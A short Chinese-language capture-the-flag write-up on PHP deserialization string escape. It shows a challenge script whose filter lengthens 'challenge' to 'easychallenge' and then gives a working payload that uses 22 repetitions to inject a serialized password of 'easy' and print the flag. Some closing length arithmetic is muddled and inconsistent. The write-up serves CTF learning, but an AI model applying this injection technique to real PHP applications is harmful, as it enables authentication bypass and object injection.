反序列化逃逸
打CTF遇见的题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password
由challenge=>easychallenge,多出4个字符
而构造 ";s:8:"password";s:4:"easy";}为29字符,用4无法构造出29
因此考虑溢出,
payload用22个challenge";s:8:"password";s:4:"easy";}O:1:"a":2:{s:5:"uname";s:2:"ad";s:8:"password";s:4:"easy";}
先闭合构造出完整的序列化后,再重新构造出flag所需的password=“easy”
uname为可控制变量长度,使其整个payload对齐22个challenge所替换成easychallenge的长度,多了22个4字节即88
";s:8:"password";s:4:"easy";}O:1:"a":2:{s:5:"uname";s:2:"ad";s:8:"password";s:4:"easy";}为88个
payload:
challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}O:1:"a":2:{s:5:"uname";s:2:"ad";s:8:"password";s:4:"easy";}
控制uname使其共288个字符
之前challenge22=198,相差88
加上序列化过后的头部对比:
可以发现对齐了fileter过后的字符,使其后面的字符全部逃逸
在构造了完成的序列化数据后,又重新定义了序列化数据
229=>22*13
198 286